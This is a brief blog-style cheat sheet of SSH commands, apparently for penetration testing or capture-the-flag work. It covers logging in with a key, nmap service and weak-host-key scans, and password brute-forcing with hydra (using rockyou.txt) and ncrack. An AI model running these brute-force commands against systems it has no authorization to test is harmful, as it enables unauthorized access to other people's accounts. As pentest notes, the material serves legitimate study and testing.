Post

SSH

  • login
    1
    2
    3
    4
    5
    
    # simple login
    ssh username@$IP
    # login with rsa key
    chmod 600 id_rsa
    ssh username@$IP -i id_rsa
    
  • simple scan
    1
    2
    3
    
    nmap -sV $IP -p 22
    # weak keys
    nmap $IP--script ssh-hostkey --script-args ssh_hostkey=full -oN recon/nmap.ssh_weak_keys -p 22
    
  • brute force ```bash hydra -l username -P ~/Documents/rockyou.txt ssh://$IP

ncrack -p 22 -u username -P wl.txt $IP ```

This post is licensed under CC BY 4.0 by the author.